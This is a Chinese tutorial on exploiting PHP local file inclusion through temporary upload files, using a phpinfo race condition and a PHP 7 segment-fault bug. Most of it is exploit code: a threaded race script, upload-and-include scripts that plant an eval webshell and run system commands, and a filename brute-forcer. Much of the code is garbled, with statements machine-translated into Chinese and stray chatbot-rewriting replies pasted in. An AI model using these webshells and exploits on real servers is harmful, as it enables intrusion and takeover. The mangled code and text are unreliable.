整理PHP文件包含漏洞姿势,本地文件包含利用临时文件拿权限技巧

前言

整理PHP文件包含漏洞姿势,本地文件包含利用临时文件拿权限技巧

最近在整理PHP文件包含漏洞的利用方法时,发现了一些好用的方法。这些方法是关于本地文件包含漏洞的,能够利用临时文件包含恶意代码来获取Webshell。于是,打算详细整理一番。

PHP LFI

PHP LFI本地文件包含漏洞主要是去包含本地服务器存储的一些文件。像session文件、日志文件、临时文件等。然而。只有我们可以控制包含的文件。存储我们的恶意代码。才能拿到服务器权限。

要是在服务器上找不到能包含的文件。那该如何是好。这时可利用一些技巧让服务存储恶意生成的临时文件。该临时文件含有构造的恶意代码。如此服务器就有了能包含的文件。

目前 常见的两种临时文件包含漏洞利用方法主要是 PHPINFO() 和 PHP7 Segment Fault 利用这两种方法 能够向服务器上传文件 同时在服务器上生成恶意临时文件 将恶意临时文件包含 便可达到任意代码执行效果 进而拿到服务器权限 进行后续操作

临时文件

在了解漏洞利用方式的时候,先来了解一下PHP临时文件的机制

[id_1050389838]

在PHP里 能运用POST方法 或者PUT方法 来上传文本 以及二进制文件 上传的文件信息 会存于全局变量$_FILES中

$_FILES超级全局变量很特别。它是预定义超级全局数组里唯一的二维数组。其用途是存储各类和上传文件相关的信息。这些信息对通过PHP脚本上传至服务器的文件极为关键。

$_FILES['userfile'][[id_2030828052]] 客户端文件的原名称。$_FILES['userfile']['type'文件的MIME类型 若浏览器提供该信息支持 比如"image/gif"$_FILES['userfile']['size'] 已上传文件的大小,单位为字节。$_FILES['userfile']['tmp_文件被上传后在服务端储存的临时文件名 通常是系统默认的 可在php.ini的upload处设置_tmp_dir 指定,默认是/tmp目录。$_FILES['userfile']['error'该文件上传存在错误代码。若上传成功,其值是0。若上传失败,其值是错误信息。$_FILES['userfile']['tmp_name'] 文件被上传后在服务端存储的临时文件名

在临时文件包含漏洞里,获取$_FILES['userfile']['name']这个变量值十分关键。临时文件名字由随机函数生成。唯有知晓文件名字,才能正确包含它。

存储目录

文件上传后。默认会存储到服务端的默认临时目录。该临时目录由php.ini的upload_tmp_dir属性指定。若upload_tmp_dir路径不可写。PHP会上传到系统默认临时目录。

不同系统服务器有常见的临时文件默认存储目录。了解系统的默认存储路径十分重要。因为很多时候服务器是按默认设置运行的。

Linux目录

Linux系统服务的临时文件主要存于根目录的tmp文件夹中。这些临时文件拥有一定的开放权限。

/tmp/

Windows目录

Windows系统服务的临时文件主要存于系统盘的Windows文件夹。这些临时文件有一定开放权限。

C:/Windows/C:/Windows/Temp/

命名规则

此时必须知道其命名规则

可以通过phpinfo来查看临时文件的信息。

[id_395311717]

Linux临时文件主要存于/tmp/目录。其格式一般为(/tmp/php[6个随机字符])

Windows Temporary File

Windows临时文件主要存于C:/Windows/目录。其格式一般为(C:/Windows/php[4个随机字符].tmp)

PHPINFO特性

经过上述介绍可知 服务器上存储的临时文件名是随机的 所以很难获取其真实文件名 然而 要是目标网站上有phpinfo 那么就能借助phpinfo获取临时文件名 进而开展包含操作

虽说这个漏洞很早就出现了。2011年,国外安全研究人员公布了这种攻击手法。不过这个技巧是个很经典的例子,不会被遗忘。

测试代码

[id_692561192]


$file = $_GET['file']; include($file);
?>

phpinfo.php

 phpinfo();?>

漏洞分析

我们给PHP发送POST数据包时 若数据包含文件区块 不管访问的代码有无处理文件上传逻辑 PHP都会把文件保存成临时文件 文件名能在$_FILES变量中找到 这个临时文件 在请求结束后会被删除

利用phpinfo的特性对我们帮助很大。phpinfo页面会打印出当前请求上下文中的所有变量。所以若向phpinfo页面发送包含文件区块的数据包,就能在返回包里找到$_FILES变量的内容。拿到临时文件变量名后,便可包含执行我们传入的恶意代码。

漏洞利用

PHPINFO的这种特性源自php自身。它和php的版本没有关系。

测试脚本

编写脚本。上传文件。探测是否存在phpinfo。探测是否包含临时文件的信息。

import requests
files = { 'file': ("aa.txt","ssss")}url = "http://x.x.x.x/phpinfo.php"r通过向url发送post请求得到,请求时携带files,并且不允许重定向print(r.text)

运行脚本向服务器发出请求可以看到回显中有如下内容

Linux

Windows

利用原理

验证了phpinfo的特性确实存在。所以当在文件包含漏洞中找不到可利用的文件时。我们能够利用这一特性。找到并提取临时文件名。然后包含它就可以Getshell。

但文件包含漏洞与phpinfo页面一般是两个页面。理论上我们要先给phpinfo页面发送数据包。接着从返回页面中找出临时文件名。再把这个文件名发送给文件包含漏洞页面来进行getshell。第一个请求结束时临时文件会被删除。第二个请求自然就无法进行包含操作了。

利用过程

这个时候就需要用到条件竞争,具体原理和过程如下:

发送包含webshell的上传数据包至phpinfo页面。该数据包的header位置要塞满垃圾数据。该数据包的get位置也要塞满垃圾数据。

因为phpinfo页面会打印出所有数据。1中的垃圾数据会把整个phpinfo页面撑得极大。

php默认输出缓冲区大小是4096。这意味着php每次会返回4096个字节给socket连接

所以 我们直接操作原生socket 每次读取4096个字节 只要读取到的字符中包含临时文件名 就立刻发送第二个数据包

此时 第一个数据包的socket连接实际尚未结束 php还在每次继续输出4096个字节 所以临时文件此时未被删除

最终实现getshell

(参考ph牛:)

Getshell

借助ph牛的代码,无需重复造轮子,直接改动脚本几个主要地方就能成功运行。比如上传的恶意文件内容、phpinfo.php和index.php对应文件的文件名与位置、系统临时文件写入目录等

exp.py

#!/usr/bin/python#python version 2.7
import sysimport threadingimport socket
def setup(host, port): TAG = "Security Test" PAYLOAD = """%sr')?>r""" % TAG # PAYLOAD = """%sr # ')?>r""" % TAG REQ1_DATA = 请提供具体的句子内容,以便我进行改写。Content-Disposition: 表单数据; 名称="dummyname"; 文件名="test.txt"Content-Type: text/plainrr%s请你提供一下具体的句子内容,以便我按照要求进行改写。 % PAYLOAD padding = "A" * 5000 REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1rCookie:PHPSESSID的值为q249llvfromc1or39t6tvnun42;还有一个名为othercookie的,其值为""" + padding + """rHTTP_ACCEPT: """ + padding + """rHTTP_USER_AGENT: """ + padding + """rHTTP_ACCEPT_LANGUAGE: """ + padding + """rHTTP_PRAGMA: """ + padding + """r内容类型:多部分表单数据;边界=---------------------------7dbff1ded0714rContent-Length: %srHost: %srr%s"""%(REQ1_DATA的长度, 主机, REQ1_DATA) 修改这个以适合本地文件包含脚本 LFIREQ = 获取 /index.php?file=%s HTTP/1.1rUser-Agent: Mozilla/4.0rProxy-Connection: Keep-AliverHost: %srrr""" return (REQ1, TAG, LFIREQ)
def phpInfoLFI主机、端口、PHP信息请求、偏移量、日志请求、标签:该套接字使用TCP协议该套接字使用SOCK_STREAM套接字类型
s.connect((host, port)) s2.connect((host, port))
s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] => ") fn = d[i + 17:i + 31] except ValueError: return None
s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close()
if d.find(tag) != -1: return fn
counter = 0
class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args):调用 threading.Thread 的 __init__ 方法并传入 self self.event = e self.lock = l self.maxattempts = m self.args = args
def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter += 1
try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print 明白了!在/tmp/Qftm.php中创建了外壳程序 self.event.set()
except socket.error: return
def getOffset(host, port, phpinforeq): 获取php输出中tmp_name的偏移量 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(phpinforeq)
d = "" while True: i = s.recv(4096) d += i if i == "": break # detect the final chunk if i.endswith("0rnrn"): break s.close() i = d.find("[tmp_name] => ") if i == -1: raise ValueError(在phpinfo输出中没有php临时文件名)
print "found %s at %i" % (d[i:i + 10], i) # padded up a bit return i + 256
def main(): print "LFI With PHPInfo()" print "-=" * 30
if len(sys.argv) < 2: print 用法:%s主机 [端口] [线程数] % sys.argv[0] sys.exit(1)
try:主机 = 通过系统参数获取主机名对应的IP地址 (原句存在错误,正确的应该是host = socket.gethostbyname(sys.argv[1]),这里按照纠正后的意思进行改写)1]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1], e) sys.exit(1)
port = 80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2], e) sys.exit(1)
poolsz = 10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3], e) sys.exit(1)
print "Getting initial offset...",reqphp、tag、reqlfi通过host、port进行设置偏移量等于获取偏移量,参数分别为主机、端口、请求的PHP文件 sys.stdout.flush()
maxattempts = 1000 e = threading.Event() l = threading.Lock()
print 生成工作线程池(%d)... % poolsz sys.stdout.flush()
tp = [] for i in range(0, poolsz):创建一个线程工作者对象。该对象的参数包括e、l、最大尝试次数、主机、端口、请求的PHP文件、偏移量、请求的LFI文件、标签。将这个对象添加到tp列表中。
for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write("r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! m/" else: print ":(" except KeyboardInterrupt: print 正在告知线程关闭…… e.set()
print "Shuttin' down..." for t in tp: t.join()
if __name__ == "__main__": main()

/tmp/Qftm后门文件

拿到RCE之后,可以查看tmp下生成的后门文件

http://192.33.6.145/index.php?file=/tmp/Qftm&Qftm=system(%27ls%20/tmp/%27)

然后使用后门管理工具连接后门webshell

/tmp/Qftm

php7 Segment Fault

利用条件

7.0.0 <= PHP Version < 7.0.28

漏洞分析

上面提到的姿势中包含临时文件。要知道phpinfo,还需条件竞争。若不存在phpinfo,我们就很难利用上述方法去getshell。

那么要是目标中不存在phpinfo该怎么办呢?这里能够利用php7 segment fault特性(CVE-2018-14884)来进行Bypass

在php代码里运用php://filter的strip_tags过滤器,能使php执行时直接出现Segment Fault。如此一来,php的垃圾回收机制便不会继续执行。这会致使POST的文件保存在系统缓存目录下,不会被清除,不像phpinfo那样上传的文件很快就会被删除。在这种情形下,我们只要知晓其文件名,就能包含恶意代码。

漏洞修复

官方在PHP Version 7.0.28时已经修复该漏洞

官方php7更新日志信息

https://www.php.net/ChangeLog-7.php

Payload

更具漏洞分析构造可利用的payload:

http://192.33.6.145/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd

这种包含会致使php执行时出现segment fault。这时上传文件,临时文件会存于upload_tmp_dir指定的目录,不会被删掉。如此便能实现getshell的目标。

代码环境

测试代码

index.php

    $a = @$_GET['file'];    include $a;?>

dir.php

    $a = @$_GET['dir'];    var_dump(scandir($a));?

测试环境

PHP Version 7.0.9

漏洞利用

攻击载荷

string.strip_tags过滤器致使出现php段错误

index.php?file=php://过滤器/去除字符串中的HTML标签/资源=index.php

可以看到上面这种情况会致使php执行时出错。这时上传文件,临时文件会保存在upload_tmp_dir指定的目录。所以不会被删除,而是一直存于服务的临时目录中。

攻击利用-技巧1

我们可以通过dir.php辅助查找生成的临时文件

编写 Linux Exp

Linux网络攻击环境下的脚本编写

#python version 2.7
import requestsfrom io import BytesIOimport re
files = { 'file': BytesIO(')}url1 = 参数file的值是php://filter/string.strip_tags/resource=index.php请你提供完整的内容,以便我能准确地按照要求进行改写。目前你给出的“r = requests.post(url=url1, files=files, allow_redirects=”并不完整。False)
url2 = 其中dir参数的值为/tmp/r = requests.get(url2)data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)
print "++++++++++++++++++++++"print dataprint "++++++++++++++++++++++"
url3=其中index.php文件的路径指向/tmp/+datadata = {'Qftm':"system('whoami');"}r等于requests发送post请求,请求的网址是url3,发送的数据是dataprint r.content

编写 Windows Exp

windows网络攻击环境下的脚本编写

#python version 2.7
import requestsfrom io import BytesIOimport re
files = { 'file': BytesIO(')}url1 = 该网址中的file参数值为php://filter/string.strip_tags/resource=index.phpr = requests.post(url=url1, files=files, allow_redirects=False)
url2 = 其参数dir的值为C:/Windows/r = requests.get(url2)data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)
print "++++++++++++++++++++++"print dataprint "++++++++++++++++++++++"
url3=其文件路径为C:/Windows/+data+'.tmp'data = {'Qftm':"system('whoami');"}r = requests.post(url=url3,data=data)print r.content

系统EXP利用

针对不同的系统环境运行脚本就可以RCE拿到任意代码执行

然后查看服务器上恶意临时文件,确实存在未被删除!!

http://192.168.68.119/web/fi/dir.php?file=C:/Windows/

Getshell

我们上传的恶意临时文件未被删除。如此一来,便能使用Webshell管理工具蚁剑。对php2EFF.tmp进行包含利用。

C:/Windows/php2EF.tmp   eval($_REQUEST[Qftm])?>

攻击利用-技巧2

暴力破解

假如没有dir.php 还能否利用呢 答案是能的 因为我们传入的恶意文件未被删除 如此我们便可以爆破该文件的文件名

在上面的讲述里 我们了解到 不同系统 默认的临时文件存储路径不同 存储方式也不一样

Linux临时文件主要存储在/tmp/目录下,格式通常是(/tmp/php[6个随机字符])

Windows临时文件主要存储在C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp)

对比Linux与Windows,Windows需破解的位数比Linux少,所以Windows的破解速度比Linux快,位数越长,耗费的时间越多。

攻击载荷

编写临时文件生成和暴力破解攻击载荷

#python version 2.7
import requestsfrom io import BytesIO
files = { 'file': BytesIO(')}url1 = 'http://192.168.68.119/web/fi/index.php?file=php://filter/string.strip_tags/resource=index.php'r = requests.post(url=url1, files=files, allow_redirects=False)
暴力破解功能模块url2=其文件路径为C:/Windows/php+{fuzz}+'.tmp&Qftm=system('whoami');'data = fuzzprint "++++++++++++++++++++++"print dataprint "++++++++++++++++++++++"########################暴力破解模块########################

对于暴力破解模块,能自己添加多线程模块来暴力破解。也可把暴力破解模块拿出单独fuzz。比较常用的做法是,将一些fuzz工具的模块拿出,添加进去并稍微改下接口就能直接用。

推荐直接用fuzz工具开展fuzz测试 fuzz工具通常包含多线程 还有自定义字典等 使用起来便利 无需花时间编写调试代码

个人较为喜爱运用Fuzz大法。它在目录扫描方面很灵活。在后台扫描方面也十分灵活。于Web漏洞模糊测试方面同样极为灵活。

推荐几款好用的Fuzz工具

基于Go开发:gobuster     https://github.com/OJ/gobuster它是基于Java开发的。dirbuster是OWASP的杰出工具。它是kali自带的。基于Python开发:wfuzz    https://github.com/xmendez/wfuzz

进行fuzz测试时要配置参数 我这里采用Kali自带的dirbuster来开展模糊测试

参数设置好之后,开始进行fuzz测试

后门文件的恶意代码正常解析执行

Getshell

拿到我们上传的恶意临时文件的文件名后可进行包含利用。同样,我们上传的恶意临时文件未被删除。使用Webshell管理工具对php2EFF.tmp后门文件进行包含利用。

Refference

https:/数据包风暴安全网络的论文存放处/数据包风暴安全网络的论文所在位置/general/LFI与PHP信息协助相关的PDF文件
https://www.php.net/ChangeLog-7.php

你可能想看:
« 上一篇
下一篇 »

相关推荐

php实时推送,php实地培训

2026年10月05日

54阅读

php乱码出现问号的原因,php乱码出现问号的原因有哪些

2026年10月05日

45阅读

php一句话木马,一句话木马ctf

2026年10月05日

48阅读

php获取数组长度,php中如何获取数组的长度

2026年10月05日

50阅读

php面试题库及答案,php程序员面试真题库

2026年10月05日

48阅读

phpcontent-type修改,php源码二次修改需要多少钱

2026年10月05日

43阅读